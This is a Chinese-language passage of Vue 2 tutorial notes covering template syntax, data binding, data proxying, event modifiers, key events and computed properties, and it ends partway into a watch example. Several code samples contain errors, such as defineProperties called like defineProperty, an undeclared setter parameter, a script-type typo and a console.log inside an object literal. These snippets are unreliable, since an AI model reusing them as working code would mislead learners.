Vue2【尚硅谷--天禹老师】:Vue核心

目录

1. Vue核心

1.1 介绍与描述

1.2  Vue的特点

1.3 与其他JS框架的关联

1.4 Vue官网的使用指南

2.搭建Vue开发环境

 2.1 直接使用

2.2 Hello小案例

2.3 Hello案例分析

3.模板语法

3.1 模板理解

  3.2 .插值语法:

  3.3 .指令语法:

 4.数据绑定

4.1 单向数据绑定:v-bind

 4.2 双向数据绑定:v-model

 4.3 注意点:v-model只能绑定在表单元素上

4.4 总结

5.el与data的两种写法

5.1 el的写法

方式一:el:'#root'

方式二:vm.$mount('#root')

5.2 data的写法

方式一:对象式

方式二::函数式

5.3 总结

6.MVVM模型

1. M:模型(Model) :对应 data 中的数据

2. V:视图(View) :模板(view)

3. VM:视图模型(ViewModel) : Vue 实例对象

6.1 总结

7.数据代理

 7.1 defineProperty的基本属性

7.2 defineProperty的高级属性(getter/setter)

7.3 数据代理的理解

7.4 Vue中的数据代理

总结

 8.事件处理

8.1 事件的基本使用

8.2 事件修饰符

(1) prevent:阻止默认事件(常用)

(2) stop:阻止事件冒泡(常用)

(3) once:事件只触发一次(常用)

(4) capture:使用事件的捕获模式

 (5) self:只有event.target是当前操作的元素时才触发事件(一定程度上阻止冒泡)

(6)passive:事件的默认行为立即执行,无需等待事件回调执行完毕

8.3 键盘事件

8.4 扩展

1.链式调用

9.计算属性:computed

9.1 姓名案例(插值语法实现)

 9.2 姓名案例(methods实现)

9.3 姓名案例(计算属性实现)

9.4 计算属性的简写

 9.5 总结

10.监视属性:watch

10.1 天气案例

10.2 监视属性

(1):handler

(2)immediate

3.方法一:通过watch进行监听

4.方法二:通过$watch进行监听

5.深度监视

(1)监视多级结构中某一个属性的变化:'numbers.a'

(2)监视多级结构中所有属性的变化:deep:true

6.监视的简写

6.1 通过watch的方法简写

6.2 通过$watch的方法

7.watch和computed的对比

7.1 姓名案例——watch实现

7.2 姓名案例——计算属性实现

7.3 图示

 7.4 区别

 7.5 watch完整版本

7.6 总结

11.class与style的绑定【样式绑定】

1.绑定class样式【v-bind:class=" "】

 (1)字符串写法

(2)数组写法

(3)对象写法

2.绑定style样式

(1)对象写法

(2)数组写法

12.条件渲染

1.v-show

2.v-if

3.v-else-if与v-else

4.注意点:

13.列表渲染

1.v-for

(1)v-for的循环机制

(2)接收到2个参数(每一个参数值,索引值)

 (3)可以将of替代in

 (4)遍历数组

(5)遍历对象

(6)遍历字符串

 (8)遍历指定次数

 (9)总结

2.key的原理

(1) 当我们写上key的时候,是不可以使用的key这个属性的

(2)浏览器上的key属性名

(3)遍历列表时key的作用(index作为key)

 (4)遍历列表时key的作用(id作为key)

 (5)总结

3.列表过滤

(1)通过watch实现(过滤器:filter)

(2)通过计算属性

4.列表排序

14.数据检测

1.更新时的一个问题

 2.检测数据的原理---对象

3.Vue.set(要添加到的地方,要添加的属性名,添加的属性值)方法【vm._data.student===vm.stduent】

(1)直接将属性加上

 (2)使用Vue.set()

 (3)使用vm.$set()

(4)注意点

 (5)总结

  4.检测数据的原理---数组

(1) 修改数组中的数据方法一:使用Vue提供的方法进行操作

 (2) 修改数组中的数据方法二:使用Vue.set() 

 5.总结

15.收集表单数据

 1.type="checkbox"

(1)当需要获取用户输入的value值的时候

 (2)当只需要知道为false还是true的时候

2.阻止按钮的默认提交行为

(1)给按钮添加点击事件,并且使用阻止默认行为

(2)给表单添加一个submit的点击事件

3.要在控制台输出用户输入的全部信息 

(1)直接将_data输出

(2)在dta中将用户输入的信息封装成一个对象,然后直接输出对象即可

3.用户输入类型的控制(v-model.number="game")

4.延迟收集(v-model.lazy="userInfo.other")

 5.去除前后的空格(v-model.trim="userInfo.account")

 6.总结

16.过滤器

 1.引入day.js

2.使用计算属性格式化时间

3.提供methods实现格式化时间

4.提供过滤器实现格式化时间

(1)带参数的过滤器

 (2)多个过滤器的串联使用

5.局部过滤器(只能在当前vm中使用)

 6.全局过滤器【Vue.filter()】

 7.动态绑定中使用过滤器

 8.注意点

filter只能在插值语法和v-bind中使用,不能再v-model中使用

 17.内置指令(其他)

1.v-text

2.v-html

(1)安全性问题(cookie)

 2.总结

3.v-cloak :当网络较慢的时候,不让未解析的再页面上显示

 总结

 3.v-once

 4.v-pre(Vue不解析)

18.自定义指令:directives:{}

1.函数式:函数名字(获取要进行操作的DOM元素,binding)

 2.对象式

3.注意点

1.当指令名字出现“-”的时候:在directives中要加单引号

 2.指令中的this都是window

3.全局指令:Vue.directive(‘函数名',{}) 

4.总结

1.自定义指令定义语法

2.配置对象中常用的3个回调函数:

 3.备注:

19.Vue生命周期

1.引出生命周期

1.通过外部的定时器实现(不推荐)

2.引出mounted函数

2.生命周期挂载流程

1.当不获取el的时候 

 2.把DOM元素写入template

 3.生命周期更新流程

 4.生命周期的销毁流程

5.总结

常用的生命周期钩子:

关于销毁Vue实例:


1. Vue核心

1.1 介绍与描述

动态构建用户界面的渐进式JavaScript框架

作者:尤雨溪

1.2  Vue的特点

1.采用组件化模式,提高代码复用率,且让代码更好维护

2.声明式编码,让编码人员无需直接操作DOM,提高开发效率

3.使用虚拟DOM+Diff算法,尽量复用DOM节点 

 

1.3 与其他JS框架的关联

  • 借鉴 Angular 的模板和数据绑定技术
  • 借鉴 React 的组件化和虚拟DOM技术

1.4 Vue官网的使用指南

2.搭建Vue开发环境

 2.1 直接使用<script>

安装 — Vue.js (vuejs.org)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <!-- 引入开发版Vue -->
  <script type="texe/javascript" src="./js/vue.js"></script>
</head>
<body>
  <script type="text/javascript">
    // 阻止vue在启动时生成生产提示
    Vue.config.productionTip=false
  </script>
</body>
</html>

2.2 Hello小案例

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <!-- 引入开发版Vue -->
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
    <!-- 初始vue:
      1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对;
      2.root容器中的代码依然符合html规范,只不过混入了一些特殊的Vue语法
      3.root容器里的代码被称为【Vue模板】 -->

  <!-- 准备好一个容器 -->
  <div id="root">
    <h1>hello,{{ name }}</h1>
  </div>
  <script type="text/javascript">
    // 阻止vue在启动时生成生产提示
    Vue.config.productionTip=false

    new Vue({
            el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            data:{ //data用于存储数据,数据共el所指定的容器去使用
                name:'小林'
            }
        })
  </script>
</body>
</html>

 

    初始vue:

      1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对;

      2.root容器中的代码依然符合html规范,只不过混入了一些特殊的Vue语法

      3.root容器里的代码被称为【Vue模板】

2.3 Hello案例分析

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
3.root容器里的代码被称为Vue模板
4.Vue实例与容器是一一对应的
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
7.一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新

3.模板语法

3.1 模板理解

html 中包含了一些 JS 语法代码,语法分为两种,分别为:

1. 插值语法(双大括 号表达式)

2. 指令(以 v-开头)

  3.2 .插值语法:

    功能:用于解析标签体内容

    写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域

  3.3 .指令语法:动态绑定值

    功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)

    举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性

    备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <!-- 引入开发版Vue -->
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 
  1.插值语法:

    功能:用于解析标签体内容
    写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域

  2.指令语法:

    功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
    举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性
    备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子 -->

  <!-- 准备好一个容器 -->
  <div id="root">
    <h1>插值语法</h1>
    <h3>您好,{{name}}</h3>
    <hr>
    <h1>指令语法</h1>
    <!-- 属性绑定:把原来的“url”当成js表达式 -->
    <!-- v-bind简写为:===: -->
    <!-- data中的数据只有name和schoo,要访问school里面的,要上前缀 -->
    <a v-bind:href="school.url">点我去访问jack----{{name}}</a>
    <hr>
    <a :href="url" :x="hello">点我去访问小林----{{school.name}}</a>
  </div>
  <script type="text/javascript">
    // 阻止vue在启动时生成生产提示
    Vue.config.productionTip=false
    new Vue({
      el:'#root',
      data() {
        return {
          name:'jack',
          school:{
            name:'小林',
            url:'http://www.baidu.com',
            hello:"您好"
          }
        }
      },
    })
  </script>
</body>
</html>

 4.数据绑定

4.1 单向数据绑定:v-bind

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <!-- 引入开发版Vue -->
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>

  <!-- 准备好一个容器 -->
  <div id="root">
    单向数据绑定:<input type="text" v-bind:value="name">
    <!-- 简写 -->
    单向数据绑定:<input type="text" :value="name">
  </div>
  <script type="text/javascript">
    // 阻止vue在启动时生成生产提示
    Vue.config.productionTip=false
    new Vue({
      el:'#root',
      data() {
        return {
          name:'小林'
        }
      },
    })
  </script>
</body>
</html>

 4.2 双向数据绑定:v-model

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <!-- 引入开发版Vue -->
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>

  <!-- 准备好一个容器 -->
  <div id="root">
    双向数据绑定:<input type="text" v-model:value="name">
    <!-- v-model:value可以简写为v-model,因为v-model默认收集的就是value值  -->
    双向数据绑定:<input type="text" v-model="name">
  </div>
  <script type="text/javascript">
    // 阻止vue在启动时生成生产提示
    Vue.config.productionTip=false
    new Vue({
      el:'#root',
      data() {
        return {
          name:'小林'
        }
      },
    })
  </script>
</body>
</html>

 4.3 注意点:v-model只能绑定在表单元素上

4.4 总结

Vue中有2种数据绑定的方式:

  单向绑定(v-bind):数据只能从data流向页面

  双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data

  备注:

  双向绑定一般都应用在表单类元素上(如:<input>、<select>、<textarea>等)

  v-model:value可以简写为v-model,因为v-model默认收集的就是value值

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <!-- 引入开发版Vue -->
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
  <!-- Vue中有2种数据绑定的方式:

  单向绑定(v-bind):数据只能从data流向页面
  双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
  
  备注:
  
  双向绑定一般都应用在表单类元素上(如:<input>、<select>、<textarea>等)
  v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
  <!-- 准备好一个容器 -->
  <div id="root">
    <!-- 普通写法 -->
    <!-- 单向数据绑定:<input type="text" v-bind:value="name">
    双向数据绑定:<input type="text" v-model:value="name"> -->

    <!-- 简写 -->
    单向数据绑定:<input type="text" :value="name">
    <!-- v-model:value可以简写为v-model,因为v-model默认收集的就是value值  -->
    双向数据绑定:<input type="text" v-model="name">
    <br>
    <!-- 如下代码报错,因为v-model只能应用在表单类元素(输入类元素)上【就是要有value值上】 -->
    <h2 v-model:x=""name>您好</h2>
  </div>
  <script type="text/javascript">
    // 阻止vue在启动时生成生产提示
    Vue.config.productionTip=false
    new Vue({
      el:'#root',
      data() {
        return {
          name:'小林'
        }
      },
    })
  </script>
</body>
</html>

5.el与data的两种写法

5.1 el的写法

方式一:el:'#root'

        const vm = new Vue({
            // el:'#root', //第一种写法
            data:{
                name:'JOJO'
            }
        })

方式二:vm.$mount('#root')【挂载】

        const vm = new Vue({
            data:{
                name:'JOJO'
            }
        })
        vm.$mount('#root')//第二种写法

5.2 data的写法

方式一:对象式

    new Vue({
      el: '#root',
      //data的第一种写法:对象式
      data: {
        name: 'JOJO'
      }
    })

方式二::函数式【必须有return】

    new Vue({
      el: '#root',
      //data的第二种写法:函数式
      data() {//data:function(){
        return {
          name: 'JOJO'
        }
      }
    })
 注意点
data:function(){
    console.log(this);//此处的this是指vue实例对象
}

data:()=>{//箭头函数没有this实例对象
    console.log(this);//此处的this指的是window
}

5.3 总结

el有2种写法:

      创建Vue实例对象的时候配置el属性

      先创建Vue实例,随后再通过vm.$mount('#root')指定el的值

  data有2种写法:

      对象式

      函数式

  • 如何选择:目前哪种写法都可以,以后学到组件时,data必须使用函数,否则会报错

由Vue管理的函数,一定不要写箭头函数,否则this就不再是Vue实例了(而是window)

6.MVVM模型

1. M:模型(Model) :对应 data 中的数据

2. V:视图(View) :模板(view),页面(DOM)

3. VM:视图模型(ViewModel) : Vue 实例对象

 虽然没有完全遵循 MVVM 模型,但是 Vue 的设计也受到了它的启发。因此在文档中经常会使用 vm (ViewModel 的缩写) 这个变量名表示 Vue 实例。 

6.1 总结

  • data中所有的属性,最后都出现在了vm身上
  • vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>mvvm</title>
    <script src="./js/vue.js"></script>
</head>
<body>


  <!-- 1. M:模型(Model) :对应 data 中的数据
  2. V:视图(View) :模板(view)
  3. VM:视图模型(ViewModel) : Vue 实例对象


  data中所有的属性,最后都出现在了vm身上
  vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用 -->
    <div id="root">
        <h2>学校:{{name}}</h2>
        <h2>地址:{{address}}</h2>
        <!-- vm身上的可以直接使用(或者Vue身上的) -->
        <h2>vm身上的:{{$options}}</h2>
        <!-- 原型身上的也可以 -->
        <h1>原型身上的:{{$emit}}</h1>
    </div>

    <script>
        Vue.config.productionTip = false
        const vm=new Vue({
            el:'#root',
            data:{ 
                name:'gz',
                address:'广东省'
            }
            console.log(vm)//会出现data中的属性
        })
    </script>
</body>
</html>

7.数据代理

 7.1 defineProperty的基本属性

        Object.defineProperty(person,'age',{
            value:18,
            // 控制属性是否可以枚举,默认值为false
            enumerable:true,
            // 控制属性是否可以被修改,默认值为false
            writable:true,
            // 控制属性是否可以被删除,默认值为false
            configurable:true

        })

7.2 defineProperty的高级属性(getter/setter)

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>回顾Object.defineProperty方法</title>
  <!-- let obj = {}
		//与我们使用 obj.name = 'zhangsna' 效果一样 但是用defineProperty定义的属性无法改变 或者删除
		Object.defineProperty(obj,'name',{
			value:'zhangsan'
		})
		console.log(obj); -->

</head>

<body>
  <script type="text/javascript">
    // 业务:当number改变的时候,person中的age跟着改变
    let number = 19
    let person = {
      name: '张三',
      sex: '男',
    }
    Object.defineProperties(person, 'age', {
      // 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
      get() {
        console.log('有人读取age属性');
        return number
      },
      // 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
      set(value) {
        console.log('有人修改age属性,且值为',value);
        number=value
      }
    })


    console.log(person);
  </script>
</body>

</html>

7.3 数据代理的理解

通过一个对象代理对另一个对象中的属性的操作(读/写)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <!-- 数据代理:通过一个对象代理对另一个对象中的属性的操作(读/写) -->
  <script type="text/javascript">
    // 业务:通过obj2对obj中的x进行修改
    let obj={x:100}
    let obj2={y:200}


    Object.defineProperties(obj2,'x',{
      get(){//获取obj中的x
        return obj.x
      },
      set(value){//将修改obj中的x
        obj.x=value
      }
    })
  </script>
</body>
</html>

7.4 Vue中的数据代理

 

总结

  Vue中的数据代理通过vm对象来代理data对象中属性的操作(读/写)

  Vue中数据代理的好处:更加方便的操作data中的数据

    基本原理:

      1.通过object.defineProperty()把data对象中所有属性添加到vm上。

      2.为每一个添加到vm上的属性,都指定一个getter/setter。

      3.在getter/setter内部去操作(读/写)data中对应的属性。

 8.事件处理

8.1 事件的基本使用

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>mvvm</title>
    <script src="./js/vue.js"></script>
</head>
<body>

    <!-- 事件的基本使用:
        使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
        事件的回调需要配置在methods对象中,最终会在vm上
        methods中配置的函数,==不要用箭头函数!==否则this就不是vm了
        methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
        @click="demo和@click="demo($event)"效果一致,但后者可以传参 -->
        
    <div id="root">
        <h1>欢迎来到{{name}}</h1>
        <!-- <button v-on:click="showInfo">点我提示信息</button> -->
        <!-- v-on简写形式:@ -->
        <button @click="showInfo1">点我提示信息1(不传参)</button>
        <!-- 传入参数 直接在函数名后面加上小括号(但是这样会把event搞丢) -->
        <!-- <button @click="showInfo2(66)">点我提示信息2</button> -->
        <!-- 此处的$event:是要进行占位,防止传参把event搞丢 -->
        <button @click="showInfo2(66,$event)">点我提示信息2(传参)</button>
    </div>

    <script>
        Vue.config.productionTip = false
        const vm=new Vue({
            el:'#root',
            data:{ 
              name:'猫咖'
            },
            methods: {
              // showInfo:(event)=>{}
              // 如果使用箭头函数,则this指向window
              showInfo1(event){
                console.log(event);
                console.log(event.target);//拿到进行操作的对象
                console.log(this);//Vue实例对象--vm
                alert('同学1')
              },
              // 这里的number是传入的参数
              // a;:是事件(event)
              showInfo2(number,a){
                console.log(number);
                console.log(a);
                alert('同学2')
              }
            },
        })
    </script>
</body>
</html>

    事件的基本使用:

        使用v-on:xxx或@xxx绑定事件,其中xxx是事件名

        事件的回调需要配置在methods对象中,最终会在vm上

        methods中配置的函数,==不要用箭头函数!==否则this就不是vm了【变成window】

        methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象

        @click="demo和@click="demo($event)"效果一致,但后者可以传参

8.2 事件修饰符

(1) prevent:阻止默认事件(常用),比如阻止跳转页面

        <!-- 阻止默认事件(常用):@click.prevent:阻止跳转 -->
        <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>

        Vue.config.productionTip = false
        const vm=new Vue({
            el:'#root',
            data:{ 
              name:'猫咖'
            },
            methods: {
              showInfo(){
                // 阻止默认事件
                // e.preventDefault();
                alert('nh')
              }
            },
        })

(2) stop:阻止事件冒泡(常用)

        <!-- 阻止事件冒泡 -->
        <div class="demo1" @click="showInfo">
          <button @click.stop="showInfo">点我提示信息</button>
        </div>

        const vm=new Vue({
            el:'#root',
            data:{ 
              name:'猫咖'
            },
            methods: {
              showInfo(){
                // 阻止事件冒泡
                // e.stopPropagation();
                alert('nh')
              }
            },
        })

(3) once:事件只触发一次(常用)

    <!-- 事件只触发一次 -->
    <button @click.once="showInfo">点我提示信息</button>

(4) capture:使用事件的捕获模式【先捕获,在冒泡(处理事件)】

    <!-- 使用事件的捕获模式(由外往内) -->
    <div class="box1" @click.capture="showMsg(1)">
      div1
      <div class="box2" @click="showMsg(2)">
        div2
      </div>
    </div>

 (5) self:只有event.target是当前操作的元素时才触发事件(一定程度上阻止冒泡)

    <!-- 只有event.target是当前操作的元素时才触发事件 -->
    <div class="demo1" @click.self="showInfo">
      <button @click="showInfo">点我提示信息</button>
    </div>

(6)passive:事件的默认行为立即执行,无需等待事件回调执行完毕(一般来说是先执行调用函数,等调用函数执行结束,才触发事件)

    <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
    <ul @wheel.passive="demo" class="list">
      <li>1</li>
      <li>2</li>
      <li>3</li>
      <li>4</li>
    </ul>

    const vm = new Vue({
      el: '#root',
      data: {
        name: '猫咖'
      },
      methods: {
				demo(){
					for (let i = 0; i < 100000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
      },
    })

Vue中的事件修饰符:

      prevent:阻止默认事件(常用)

      stop:阻止事件冒泡(常用)

      once:事件只触发一次(常用)

      capture:使用事件的捕获模式

      self:只有event.target是当前操作的元素时才触发事件

      passive:事件的默认行为立即执行,无需等待事件回调执行完毕

8.3 键盘事件【@keyup/@keydown】

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>mvvm</title>
    <script src="./js/vue.js"></script>
</head>
<body>
<!-- 
 1. Vue中常用的按键别名:

      回车:enter
      删除:delete (捕获“删除”和“退格”键)
      退出:esc
      空格:space
      换行:tab (特殊,必须配合keydown去使用)
      上:up
      下:down
      左:left
      右:right
  2.Vue未提供别名按键,可以使用按键原始key值去绑定,但是注意要转为(CapsLock转换为caps-lock)kebab-case(短横线命名)

  3.系统修饰键(用法特殊):ctrl、alt、shift、meta---配合keydown使用

      (1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
      (2)配合keydown使用:正常触发事件(Tab)


  4. 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用

  5.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名
         -->
    <div id="root">
        <h1>欢迎来到{{name}}</h1>
        <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
    </div>

    <script>
        Vue.config.productionTip = false
        // 定义一个别名按键
        Vue.config.keyCodes.huiche=13
        const vm=new Vue({
            el:'#root',
            data:{ 
              name:'猫咖'
            },
            methods: {
              showInfo(evnet){
                // console.log(evnet.keyCodes);//输出ASCII编码
                // 拿到按键的值
                // console.log(e.key);
                // 拿到文本框中的值
                console.log(evnet.target.value);
              }
            },
        })
    </script>
</body>
</html>

 1. Vue中常用的按键别名:

      回车:enter

      删除:delete (捕获“删除”和“退格”键)

      退出:esc

      空格:space

      换行:tab (特殊【因为tab是切换按钮的效果】,必须配合keydown去使用)

      上:up

      下:down

      左:left

      右:right

  2.Vue未提供别名按键,可以使用按键原始key值去绑定,但是注意要转为(CapsLock转换为caps-lock)kebab-case(短横线命名)

  3.系统修饰键(用法特殊):ctrl、alt、shift、meta---配合keydown使用

      (1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发

      (2)配合keydown使用:正常触发事件(Tab)


 

  4. 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用

  5.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名

        Vue.config.keyCodes.huiche=13;

8.4 扩展

1.链式调用【顺序无关】

      <!-- 阻止冒泡并且阻止链接跳转 -->
      <button href="http://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</button>
        <!-- ctrl.y:表示同时按下ctrl+y才起效 -->
        <input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo">

9.计算属性:computed

9.1 姓名案例(插值语法实现)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例_插值语法的实现</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
  <!-- 准备一个容器 -->
  <div id="root">
    姓:<input type="text" v-model:value="firstName">
    <br>
    名:<input type="text" v-model:value="lastName">
    <br>
    姓名:<span>{{firstName+'_'+lastName}}</span>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false
 new Vue({
  el:'#root',
  data: {
    firstName:'张',
    lastName:'三'
  },
 })
</script>
</html>

 9.2 姓名案例(methods实现)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例——methods实现</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
  <!-- 准备一个容器 -->
  <div id="root">
    姓:<input type="text" v-model:value="firstName">
    <br>
    名:<input type="text" v-model:value="lastName">
    <br>
    姓名
    <!-- 使用():表示调用fullName的返回值进行展示 -->
    <span>{{fullName()}}</span>
    <br><br>
    <!-- <span>{{fullName}}</span> -->
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false
 new Vue({
  el:'#root',
  data: {
    firstName:'张',
    lastName:'三'
  },
  methods: {
    // 当data中的数据发生改变的时候,页面中会重新渲染,所以fullName还调用多次
    fullName(){
      return this.firstName+'_'+this.lastName
    }
  },
 })
</script>
</html>

9.3 姓名案例(计算属性实现)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例——计算属性实现</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
  <!-- 准备一个容器 -->
  <div id="root">
    姓:<input type="text" v-model:value="firstName">
    <br>
    名:<input type="text" v-model:value="lastName">
    <br>
    <!-- 计算属性有缓存机制:所以此时fullName就调用一次 -->
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false
 const vm=new Vue({
  el:'#root',
  data: {
    // 属性
    firstName:'张',
    lastName:'三'
  },
  // vm._data中没有fullName
  // 计算属性,对象的形式
  // 计算属性直接丢给vm,不给data
  computed: {
    // 上面使用了5次fullName,此时fullName调用了5次
    fullName:{
      // get有什么作用?当有人读取fullName的时候,get就会被调用,且返回值就作为fullName的值
      // get什么时候被调用?
          // 1.初次读取fullName的时候
          // 2.所依赖的数据发生变化时
      // 虽然上面调用了5次fullName,但是实际上get就调用一次
      get(){//读取属性
        console.log('get被调用');
        // 此时this-->指向vm
        return this.firstName+'_'+this.lastName
      },


      // set不是必须写的
      // set什么时候调用?当fullName被修改的时候
      set(){//修改属性
        console.log('set',value);
        const arr=value.split('-')
        this.firstName=arr[0]
        this.lastName=arr[1]
      }
    }
  },
  
 })
</script>
</html>

9.4 计算属性的简写

当只对属性读取的时候(就是只有get的时候)才可与使用

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例——计算属性简写</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>


  <!-- 准备一个容器 -->
  <div id="root">
    姓:<input type="text" v-model:value="firstName">
    <br>
    名:<input type="text" v-model:value="lastName">
    <br>
    姓名:<span>{{fullName}}</span>

  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false
  const vm = new Vue({
    el: '#root',
    data: {
      // 属性
      firstName: '张',
      lastName: '三'
    },
    computed: {
      // 完整写法
      // fullName:{
      //   get(){//读取属性
      //     console.log('get被调用');
      //     // 此时this-->指向vm
      //     return this.firstName+'_'+this.lastName
      //   },
      //   set(){//修改属性
      //     console.log('set',value);
      //     const arr=value.split('-')
      //     this.firstName=arr[0]
      //     this.lastName=arr[1]
      //   }
      // }

      // 当只有get,才可以使用简写
      // 简写
      fullName() {//此时fullName相当于get方法
            console.log('get被调用');
            // 此时this-->指向vm
            return this.firstName+'_'+this.lastName
      }
    },

  })
</script>

</html>

 9.5 总结:计算属性仍然是属性

  计算属性:

    1.定义:要用的属性不存在,需要通过已有属性计算得来。

    2.原理:底层借助了Objcet.defineproperty()方法提供的getter和setter

    3.get函数什么时候执行?

        初次读取时会执行一次

        当依赖的数据发生改变时会被再次调用

    4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便

    5.备注:

      1.计算属性最终会出现在vm上,直接读取使用即可

      2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变

      3.如果计算属性确定不考虑修改,可以使用计算属性的简写形式

10.监视属性:watch

10.1 天气案例

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
  <!-- 准备一个容器 -->
  <div id="root">
    <!-- <h2>天气预报{{isHot?'炎热':'凉爽'}}</h2> -->
    <!-- 使用计算属性 -->
